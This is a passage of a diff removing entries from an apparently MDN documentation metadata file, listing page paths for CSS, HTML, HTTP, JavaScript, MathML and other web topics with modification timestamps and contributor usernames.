[ - "teoli", - "Verruckt" - ] - }, - "Web/CSS/display": { - "modified": "2019-03-23T23:49:28.516Z", - "contributors": [ - "wbamberg", - "Anonymous", - "teoli", - "ethertank", - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "Web/CSS/float": { - "modified": "2019-03-23T23:47:04.610Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/font": { - "modified": "2019-03-23T23:47:10.686Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/font-size": { - "modified": "2019-03-23T23:47:15.600Z", - "contributors": [ - "wbamberg", - "RCat", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/font-size-adjust": { - "modified": "2019-03-23T23:47:06.762Z", - "contributors": [ - "wbamberg", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/font-smooth": { - "modified": "2020-10-15T22:20:31.703Z", - "contributors": [ - "LPJFilho" - ] - }, - "Web/CSS/font-style": { - "modified": "2019-03-23T23:51:37.862Z", - "contributors": [ - "wbamberg", - "fscholz", - "teoli", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/font-weight": { - "modified": "2019-03-23T23:47:17.771Z", - "contributors": [ - "gusbemacbe", - "SphinxKnight", - "teoli", - "Verruckt" - ] - }, - "Web/CSS/gap": { - "modified": "2020-10-15T22:00:32.351Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/height": { - "modified": "2019-03-23T23:47:57.733Z", - "contributors": [ - "wbamberg", - "teoli", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/inherit": { - "modified": "2019-01-16T15:39:13.615Z", - "contributors": [ - "teoli", - "Hillus" - ] - }, - "Web/CSS/list-style": { - "modified": "2019-03-23T23:47:53.661Z", - "contributors": [ - "SphinxKnight", - "teoli", - "Luis Henrique Sousa" - ] - }, - "Web/CSS/top": { - "modified": "2019-01-16T14:40:15.687Z", - "contributors": [ - "teoli", - "Half-blood" - ] - }, - "Web/CSS/transform": { - "modified": "2019-03-23T22:12:47.007Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/CSS/width": { - "modified": "2019-03-23T23:47:51.459Z", - "contributors": [ - "wbamberg", - "Redeagle48", - "teoli", - "Luis Henrique Sousa", - "Verruckt" - ] - }, - "Web/CSS/z-index": { - "modified": "2019-01-17T04:06:04.605Z", - "contributors": [ - "teoli", - "Verruckt", - "Luis Henrique Sousa" - ] - }, - "Web/Events": { - "modified": "2019-04-30T14:29:45.980Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Web/Guide": { - "modified": "2020-11-12T11:23:45.364Z", - "contributors": [ - "nuruldecarvalho", - "Anonymous", - "Onsteroids" - ] - }, - "Web/Guide/AJAX": { - "modified": "2019-03-23T23:43:06.644Z", - "contributors": [ - "Anonymous", - "chrisdavidmills", - "Leandro Mercês Xavier", - "Takenbot", - "Dria", - "RuiMaciel" - ] - }, - "Web/Guide/AJAX/Community": { - "modified": "2019-03-18T21:47:01.551Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/Guide/AJAX/Getting_Started": { - "modified": "2019-03-23T23:58:34.669Z", - "contributors": [ - "Anonymous", - "chrisdavidmills", - "flaviomicheletti", - "Leandro Mercês Xavier", - "Fmtakaki", - "Verruckt", - "TroyDF", - "Japa al", - "Mederafael", - "Juliandavi", - "Thomaskp", - "Caed", - "Takenbot", - "Filipesperandio", - "Pmdweb", - "RuiMaciel" - ] - }, - "Web/Guide/Graphics": { - "modified": "2019-03-18T21:46:51.581Z", - "contributors": [ - "ivolvicente", - "Anonymous" - ] - }, - "Web/Guide/HTML/Content_categories": { - "modified": "2019-03-18T21:30:45.160Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/Guide/HTML/HTML5": { - "modified": "2019-03-24T00:15:44.005Z", - "contributors": [ - "InesFF", - "Anonymous", - "teoli", - "emilianocarvalho", - "vigia122", - "Dwchiang", - "Verruckt" - ] - }, - "Web/Guide/HTML/HTML5/HTML5_Parser": { - "modified": "2019-03-24T00:07:33.282Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "Web/Guide/HTML/HTML5/Introduction_to_HTML5": { - "modified": "2019-03-24T00:13:41.465Z", - "contributors": [ - "SphinxKnight", - "teoli", - "mauricio.araldi", - "xaky", - "Verruckt" - ] - }, - "Web/Guide/HTML/Using_HTML_sections_and_outlines": { - "modified": "2019-03-18T21:46:45.859Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/HTML": { - "modified": "2020-07-22T17:12:42.326Z", - "contributors": [ - "joaonunomota", - "SphinxKnight", - "duduindo", - "tyreecruz6", - "Anonymous", - "Devenancio", - "didi9999", - "jwhitlock" - ] - }, - "Web/HTML/Applying_color": { - "modified": "2019-03-23T22:01:35.840Z", - "contributors": [ - "jwhitlock", - "Anonymous" - ] - }, - "Web/HTML/Attributes": { - "modified": "2019-03-23T22:12:57.935Z", - "contributors": [ - "jwhitlock", - "Anonymous", - "ricardomartins" - ] - }, - "Web/HTML/Attributes/crossorigin": { - "modified": "2020-10-15T22:18:00.790Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/HTML/Attributes/rel": { - "modified": "2020-10-15T22:34:32.449Z", - "contributors": [ - "Painatalman" - ] - }, - "Web/HTML/Element": { - "modified": "2020-11-30T19:06:39.688Z", - "contributors": [ - "jotafe32", - "joaonunomota", - "MacedoAna", - "Anonymous", - "jwhitlock", - "teoli", - "Leandro Mercês Xavier" - ] - }, - "Web/HTML/Element/audio": { - "modified": "2019-03-24T00:00:34.265Z", - "contributors": [ - "jwhitlock", - "teoli", - "Leandro Mercês Xavier" - ] - }, - "Web/HTML/Element/fieldset": { - "modified": "2020-10-15T22:23:45.358Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/HTML/Element/figcaption": { - "modified": "2019-03-24T00:12:29.922Z", - "contributors": [ - "wbamberg", - "jwhitlock", - "teoli", - "f.sanxz" - ] - }, - "Web/HTML/Element/figure": { - "modified": "2019-03-24T00:07:13.574Z", - "contributors": [ - "wbamberg", - "jwhitlock", - "teoli", - "f.sanxz" - ] - }, - "Web/HTML/Element/head": { - "modified": "2020-10-15T21:59:43.855Z", - "contributors": [ - "jwhitlock", - "Anonymous" - ] - }, - "Web/HTML/Element/nav": { - "modified": "2020-10-15T21:57:44.552Z", - "contributors": [ - "jwhitlock", - "JoseRicardoGomes" - ] - }, - "Web/HTML/Element/progress": { - "modified": "2019-03-24T00:11:12.291Z", - "contributors": [ - "wbamberg", - "jwhitlock", - "teoli", - "gustavowiller", - "Leandro Mercês Xavier" - ] - }, - "Web/HTML/Element/video": { - "modified": "2019-03-24T00:00:37.866Z", - "contributors": [ - "jwhitlock", - "teoli", - "Leandro Mercês Xavier" - ] - }, - "Web/HTML/Global_attributes": { - "modified": "2019-03-23T22:02:25.995Z", - "contributors": [ - "Anonymous", - "jwhitlock" - ] - }, - "Web/HTML/Link_types": { - "modified": "2019-03-23T22:02:19.809Z", - "contributors": [ - "jwhitlock", - "Anonymous" - ] - }, - "Web/HTML/Reference": { - "modified": "2019-09-09T07:20:05.681Z", - "contributors": [ - "SphinxKnight", - "wbamberg", - "jwhitlock", - "Anonymous" - ] - }, - "Web/HTML/Using_the_application_cache": { - "modified": "2020-10-15T22:13:54.682Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/HTTP": { - "modified": "2019-05-08T19:34:36.815Z", - "contributors": [ - "wellick53", - "Joao-Henrique", - "CarlosAlbertoSzygalski", - "fscholz" - ] - }, - "Web/HTTP/CORS": { - "modified": "2020-10-15T22:15:14.685Z", - "contributors": [ - "mfuji09" - ] - }, - "Web/HTTP/CORS/Errors": { - "modified": "2019-03-18T20:48:04.840Z", - "contributors": [ - "nchevobbe" - ] - }, - "Web/HTTP/CORS/Errors/CORSDidNotSucceed": { - "modified": "2019-07-29T10:54:39.520Z", - "contributors": [ - "duduindo", - "emagombe" - ] - }, - "Web/HTTP/Headers": { - "modified": "2019-03-23T22:13:14.622Z", - "contributors": [ - "fscholz" - ] - }, - "Web/HTTP/Headers/Allow": { - "modified": "2020-07-25T17:41:28.755Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/HTTP/Headers/X-Content-Type-Options": { - "modified": "2020-10-15T21:53:51.221Z", - "contributors": [ - "tjgfernandes" - ] - }, - "Web/HTTP/Proxy_servers_and_tunneling": { - "modified": "2020-06-30T09:55:24.162Z", - "contributors": [ - "lutzleonardo15" - ] - }, - "Web/HTTP/Status": { - "modified": "2020-10-15T22:17:14.857Z", - "contributors": [ - "zhouqichao" - ] - }, - "Web/HTTP/Status/205": { - "modified": "2019-04-07T10:34:18.946Z", - "contributors": [ - "preira" - ] - }, - "Web/HTTP/Status/405": { - "modified": "2020-07-25T17:18:32.968Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/HTTP/Status/502": { - "modified": "2020-10-15T22:31:56.172Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/HTTP/Status/504": { - "modified": "2020-10-15T22:32:01.046Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/JavaScript": { - "modified": "2020-09-29T15:05:06.845Z", - "contributors": [ - "jnascimentogcc", - "Anonymous", - "SphinxKnight", - "diogo-panaca", - "ruiribeiro97", - "teoli", - "jaydson", - "Charleno Pires", - "leobalter", - "Verruckt", - "Leandro Mercês Xavier", - "Enigma", - "RuiMaciel" - ] - }, - "Web/JavaScript/Data_structures": { - "modified": "2020-03-12T19:47:10.844Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Guide": { - "modified": "2020-03-12T19:36:11.358Z", - "contributors": [ - "Anonymous", - "teoli", - "dancasttro", - "ethertank", - "trevorh", - "italotoffolo", - "clebermatheus", - "Verruckt" - ] - }, - "Web/JavaScript/Guide/Details_of_the_Object_Model": { - "modified": "2020-03-12T19:44:04.803Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "Web/JavaScript/Guide/Grammar_and_types": { - "modified": "2020-03-12T19:44:01.097Z", - "contributors": [ - "mauraodev", - "Anonymous" - ] - }, - "Web/JavaScript/Guide/Introduction": { - "modified": "2020-03-12T19:44:03.775Z", - "contributors": [ - "jhonatansychochi", - "Redeagle48", - "Anonymous" - ] - }, - "Web/JavaScript/Memory_Management": { - "modified": "2020-03-12T19:47:35.757Z", - "contributors": [ - "FgfdCBVCbnsebtgf" - ] - }, - "Web/JavaScript/Reference": { - "modified": "2020-07-11T02:27:11.550Z", - "contributors": [ - "KINGRANDOLPH", - "Anonymous", - "dd-pardal", - "LJHarb" - ] - }, - "Web/JavaScript/Reference/About": { - "modified": "2020-03-12T19:44:03.544Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Classes": { - "modified": "2020-10-15T22:00:39.801Z", - "contributors": [ - "preira", - "peter.kehl" - ] - }, - "Web/JavaScript/Reference/Classes/static": { - "modified": "2020-10-15T22:00:38.342Z", - "contributors": [ - "Painatalman" - ] - }, - "Web/JavaScript/Reference/Deprecated_and_obsolete_features": { - "modified": "2020-03-12T19:48:08.798Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Errors": { - "modified": "2020-03-12T19:47:09.947Z", - "contributors": [ - "Sheppy" - ] - }, - "Web/JavaScript/Reference/Errors/Not_a_function": { - "modified": "2020-07-25T16:58:44.866Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/JavaScript/Reference/Errors/Stmt_after_return": { - "modified": "2020-03-12T19:47:09.548Z", - "contributors": [ - "Anonymous", - "joao-neves95", - "PANC" - ] - }, - "Web/JavaScript/Reference/Errors/Unexpected_token": { - "modified": "2020-03-12T19:47:17.066Z", - "contributors": [ - "pedlima" - ] - }, - "Web/JavaScript/Reference/Errors/Unnamed_function_statement": { - "modified": "2020-03-12T19:48:30.296Z", - "contributors": [ - "hudelgado" - ] - }, - "Web/JavaScript/Reference/Functions": { - "modified": "2020-10-15T21:59:57.286Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Functions/Arrow_functions": { - "modified": "2020-10-15T22:29:39.575Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Functions/arguments": { - "modified": "2020-10-15T22:13:56.842Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Functions/rest_parameters": { - "modified": "2020-10-15T22:29:46.349Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Global_Objects": { - "modified": "2020-03-12T19:39:49.774Z", - "contributors": [ - "Anonymous", - "Redeagle48", - "SphinxKnight", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array": { - "modified": "2020-10-15T21:54:01.173Z", - "contributors": [ - "joaonunomota", - "claudepache" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/concat": { - "modified": "2019-03-23T22:13:06.712Z", - "contributors": [ - "ricardomartins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/find": { - "modified": "2020-10-15T22:02:06.522Z", - "contributors": [ - "JMoreira93" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/forEach": { - "modified": "2020-10-15T22:13:53.352Z", - "contributors": [ - "ricardomartins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/includes": { - "modified": "2020-10-15T22:04:42.050Z", - "contributors": [ - "SandroMiguel" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/join": { - "modified": "2020-10-15T21:54:14.959Z", - "contributors": [ - "joaonunomota", - "ricardomartins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/map": { - "modified": "2020-10-15T22:33:11.742Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/pop": { - "modified": "2020-10-15T21:58:52.123Z", - "contributors": [ - "kapz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/reverse": { - "modified": "2019-03-23T22:12:30.952Z", - "contributors": [ - "ricardomartins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Array/slice": { - "modified": "2020-10-15T22:31:52.359Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": { - "modified": "2019-03-23T22:16:35.915Z", - "contributors": [ - "anguelov" - ] - }, - "Web/JavaScript/Reference/Global_Objects/AsyncFunction": { - "modified": "2020-10-15T22:14:28.403Z", - "contributors": [ - "ramongr" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Boolean": { - "modified": "2020-10-15T21:59:47.399Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function": { - "modified": "2019-03-23T22:14:25.079Z", - "contributors": [ - "nmve" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/arguments": { - "modified": "2020-10-15T22:14:27.893Z", - "contributors": [ - "ramongr" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Function/call": { - "modified": "2020-10-15T21:53:17.055Z", - "contributors": [ - "joaonunomota", - "JuniorDiasOliveira", - "waveiro", - "Mega85" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Infinity": { - "modified": "2020-10-15T22:31:55.049Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math": { - "modified": "2019-03-23T22:12:29.962Z", - "contributors": [ - "ricardomartins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Math/ceil": { - "modified": "2020-10-15T21:58:11.563Z", - "contributors": [ - "carlos-menezes", - "MarcioFonseca" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number": { - "modified": "2019-03-23T22:49:01.559Z", - "contributors": [ - "Redeagle48", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/MAX_VALUE": { - "modified": "2019-03-23T22:49:07.538Z", - "contributors": [ - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/MIN_VALUE": { - "modified": "2019-03-23T22:49:09.973Z", - "contributors": [ - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/NEGATIVE_INFINITY": { - "modified": "2020-10-15T21:38:19.186Z", - "contributors": [ - "joaonunomota", - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/NaN": { - "modified": "2019-03-23T22:49:09.414Z", - "contributors": [ - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isFinite": { - "modified": "2019-03-23T22:49:12.149Z", - "contributors": [ - "SphinxKnight", - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isInteger": { - "modified": "2019-03-23T22:49:17.052Z", - "contributors": [ - "SphinxKnight", - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/isNaN": { - "modified": "2019-03-23T22:49:10.417Z", - "contributors": [ - "SphinxKnight", - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Number/toString": { - "modified": "2019-03-23T22:49:00.338Z", - "contributors": [ - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object": { - "modified": "2020-10-15T21:30:54.647Z", - "contributors": [ - "Anonymous", - "wbamberg", - "fscholz" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": { - "modified": "2019-03-23T22:42:57.159Z", - "contributors": [ - "gabrielpconceicao" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String": { - "modified": "2020-10-15T21:38:27.657Z", - "contributors": [ - "erickbRodrigues", - "Anonymous", - "ricardomartins", - "lpimenta-ptc", - "Sheppy" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/Trim": { - "modified": "2019-03-23T22:13:05.964Z", - "contributors": [ - "ricardomartins" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/indexOf": { - "modified": "2019-03-23T22:49:09.792Z", - "contributors": [ - "SandroMiguel", - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/String/length": { - "modified": "2019-03-23T22:49:00.693Z", - "contributors": [ - "Redeagle48" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol": { - "modified": "2019-03-23T22:24:48.766Z", - "contributors": [ - "ZeikJT" - ] - }, - "Web/JavaScript/Reference/Global_Objects/Symbol/hasInstance": { - "modified": "2019-03-23T22:24:53.893Z", - "contributors": [ - "GoToLoop" - ] - }, - "Web/JavaScript/Reference/Global_Objects/encodeURI": { - "modified": "2020-03-12T19:42:17.895Z", - "contributors": [ - "kempcarlos" - ] - }, - "Web/JavaScript/Reference/Operators": { - "modified": "2020-10-15T21:46:57.076Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Operators/Comma_Operator": { - "modified": "2020-10-15T22:29:46.734Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Operators/Operator_Precedence": { - "modified": "2020-05-03T13:58:58.457Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Operators/function": { - "modified": "2020-10-15T22:29:38.999Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Statements": { - "modified": "2020-10-15T21:46:52.013Z", - "contributors": [ - "Anonymous", - "LucianoDos" - ] - }, - "Web/JavaScript/Reference/Statements/block": { - "modified": "2020-10-15T22:29:44.918Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Statements/for": { - "modified": "2020-10-15T22:29:45.538Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Statements/return": { - "modified": "2020-10-15T21:59:53.428Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/JavaScript/Reference/Statements/throw": { - "modified": "2020-10-15T21:59:14.757Z", - "contributors": [ - "Anonymous", - "joao-neves95" - ] - }, - "Web/JavaScript/Shells": { - "modified": "2019-03-23T23:49:32.077Z", - "contributors": [ - "SphinxKnight", - "Verruckt" - ] - }, - "Web/Manifest": { - "modified": "2020-10-15T22:23:27.262Z", - "contributors": [ - "nersofiripi", - "Anonymous" - ] - }, - "Web/MathML": { - "modified": "2020-11-09T15:01:38.012Z", - "contributors": [ - "joaonunomota", - "Joao_Ledo_Fonseca", - "Anonymous" - ] - }, - "Web/MathML/Attribute": { - "modified": "2020-08-21T12:44:51.026Z", - "contributors": [ - "joaonunomota", - "fscholz" - ] - }, - "Web/MathML/Attribute/Values": { - "modified": "2020-07-22T19:30:01.211Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Authoring": { - "modified": "2020-08-15T14:39:49.860Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element": { - "modified": "2020-08-16T17:33:47.904Z", - "contributors": [ - "joaonunomota", - "fscholz" - ] - }, - "Web/MathML/Element/maction": { - "modified": "2020-10-15T22:32:30.845Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/math": { - "modified": "2020-10-15T22:32:00.988Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/menclose": { - "modified": "2020-10-15T22:31:58.519Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/merror": { - "modified": "2020-10-15T22:31:57.892Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mfenced": { - "modified": "2020-10-15T22:32:16.693Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mfrac": { - "modified": "2020-10-15T22:32:37.302Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mi": { - "modified": "2020-10-15T22:32:20.399Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mmultiscripts": { - "modified": "2020-10-15T22:32:37.118Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mn": { - "modified": "2020-10-15T22:32:26.157Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mo": { - "modified": "2020-10-15T22:32:19.754Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mover": { - "modified": "2020-10-15T22:32:19.618Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mpadded": { - "modified": "2020-10-15T22:32:28.264Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mphantom": { - "modified": "2020-10-15T22:32:22.218Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mroot": { - "modified": "2020-10-15T22:32:22.430Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mrow": { - "modified": "2020-10-15T22:31:58.300Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/ms": { - "modified": "2020-10-15T22:32:22.427Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mspace": { - "modified": "2020-10-15T22:31:55.582Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/msqrt": { - "modified": "2020-10-15T22:32:22.151Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mstyle": { - "modified": "2020-10-15T22:33:04.564Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/msub": { - "modified": "2020-10-15T22:32:21.086Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/msubsup": { - "modified": "2020-10-15T22:32:22.170Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/msup": { - "modified": "2020-10-15T22:32:20.360Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mtable": { - "modified": "2020-10-15T22:33:04.410Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mtd": { - "modified": "2020-10-15T22:32:00.353Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mtext": { - "modified": "2020-10-15T22:31:59.109Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/mtr": { - "modified": "2020-10-15T22:31:55.409Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/munder": { - "modified": "2020-10-15T22:32:18.823Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/munderover": { - "modified": "2020-10-15T22:32:21.240Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Element/semantics": { - "modified": "2020-10-15T22:32:26.955Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Examples": { - "modified": "2020-08-18T09:59:11.744Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Examples/Deriving_the_Quadratic_Formula": { - "modified": "2020-08-16T17:37:40.689Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Examples/MathML_Pythagorean_Theorem": { - "modified": "2020-08-16T17:39:52.993Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/MathML/Index": { - "modified": "2020-08-16T17:30:38.516Z", - "contributors": [ - "joaonunomota" - ] - }, - "Web/OpenSearch": { - "modified": "2019-03-24T00:00:54.849Z", - "contributors": [ - "tregagnon", - "Verruckt", - "Rodrigoknascimento" - ] - }, - "Web/Progressive_web_apps": { - "modified": "2020-04-23T09:44:00.269Z", - "contributors": [ - "Anonymous", - "chrisdavidmills" - ] - }, - "Web/Progressive_web_apps/Developer_guide": { - "modified": "2020-04-23T09:38:24.576Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/Progressive_web_apps/Responsive/Media_types": { - "modified": "2019-03-24T00:15:51.724Z", - "contributors": [ - "Anonymous", - "fscholz", - "teoli", - "maggots", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { - "modified": "2019-04-16T06:29:21.711Z", - "contributors": [ - "diogo-panaca" - ] - }, - "Web/Reference": { - "modified": "2020-07-20T13:13:52.229Z", - "contributors": [ - "joaonunomota", - "Anonymous", - "carlosrainhaaraujo", - "kscarfone" - ] - }, - "Web/Reference/API": { - "modified": "2019-03-23T23:22:11.761Z", - "contributors": [ - "Anonymous", - "carlosrainhaaraujo" - ] - }, - "Web/SVG": { - "modified": "2020-04-23T09:30:08.420Z", - "contributors": [ - "Anonymous", - "teoli", - "guerreirogabriel", - "fscholz", - "Verruckt", - "RuiMaciel" - ] - }, - "Web/SVG/Applying_SVG_effects_to_HTML_content": { - "modified": "2019-03-23T22:01:45.461Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/SVG/Element": { - "modified": "2020-04-23T09:28:28.562Z", - "contributors": [ - "Anonymous", - "ricardomartins" - ] - }, - "Web/SVG/Namespaces_Crash_Course": { - "modified": "2019-03-23T22:01:50.555Z", - "contributors": [ - "Anonymous", - "somascope" - ] - }, - "Web/SVG/Namespaces_Crash_Course/Example": { - "modified": "2019-03-23T22:01:57.842Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/SVG/SVG_animation_with_SMIL": { - "modified": "2020-04-23T08:20:39.391Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/SVG/Tutorial": { - "modified": "2019-01-16T14:01:46.161Z", - "contributors": [ - "Anonymous", - "teoli", - "guerreirogabriel" - ] - }, - "Web/SVG/Tutorial/Introduction": { - "modified": "2020-04-23T09:22:08.765Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/SVG/Tutorial/SVG_In_HTML_Introduction": { - "modified": "2019-03-23T22:01:48.509Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/SVG/Tutorial/SVG_and_CSS": { - "modified": "2019-03-24T00:00:34.584Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "Web/Security": { - "modified": "2019-09-10T16:45:22.612Z", - "contributors": [ - "SphinxKnight", - "Anonymous" - ] - }, - "Web/Security/Insecure_passwords": { - "modified": "2019-03-23T22:01:41.675Z", - "contributors": [ - "rborges77", - "Anonymous" - ] - }, - "Web/Security/Mixed_content": { - "modified": "2019-03-23T22:05:48.971Z", - "contributors": [ - "Anonymous", - "sideshowbarker" - ] - }, - "Web/Security/Mixed_content/How_to_fix_website_with_mixed_content": { - "modified": "2019-03-23T22:05:54.761Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/Security/Same-origin_policy": { - "modified": "2020-09-26T17:57:02.589Z", - "contributors": [ - "Samuel-Ferdnand" - ] - }, - "Web/Security/Secure_Contexts": { - "modified": "2019-03-23T22:01:19.367Z", - "contributors": [ - "Anonymous", - "Sheppy" - ] - }, - "Web/Tutorials": { - "modified": "2020-05-03T14:51:14.988Z", - "contributors": [ - "Anonymous" - ] - }, - "Web/Web_Components": { - "modified": "2019-08-20T17:28:31.563Z", - "contributors": [ - "filipe095", - "Anonymous" - ] - }, - "Web/XML": { - "modified": "2020-04-23T08:26:21.649Z", - "contributors": [ - "Anonymous", - "ExE-Boss" - ] - }, - "Web/XML/XML_introduction": { - "modified": "2019-05-01T21:54:16.756Z", - "contributors": [ - "ExE-Boss", - "Anonymous" - ] - }, - "Web/XSLT": { - "modified": "2019-03-24T00:03:57.070Z", - "contributors": [ - "ExE-Boss", - "Anonymous", - "fscholz", - "Verruckt", - "RuiMaciel" - ] - }, - "WebAssembly": { - "modified": "2020-10-15T22:07:45.071Z", - "contributors": [ - "Anonymous" - ] - }, - "WebAssembly/Using_the_JavaScript_API": { - "modified": "2019-03-18T21:28:49.091Z", - "contributors": [ - "Anonymous" - ] - }, - "conflicting/Glossary/API": { - "modified": "2020-10-25T11:15:06.759Z", - "contributors": [ - "Zamalor", - "joaonunomota", - "Anonymous" - ] - }, - "conflicting/Learn/CSS/First_steps/How_CSS_works": { - "modified": "2019-03-24T00:00:33.943Z", - "contributors": [ - "Sebastianz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier", - "Pilinio" - ] - }, - "conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460": { - "modified": 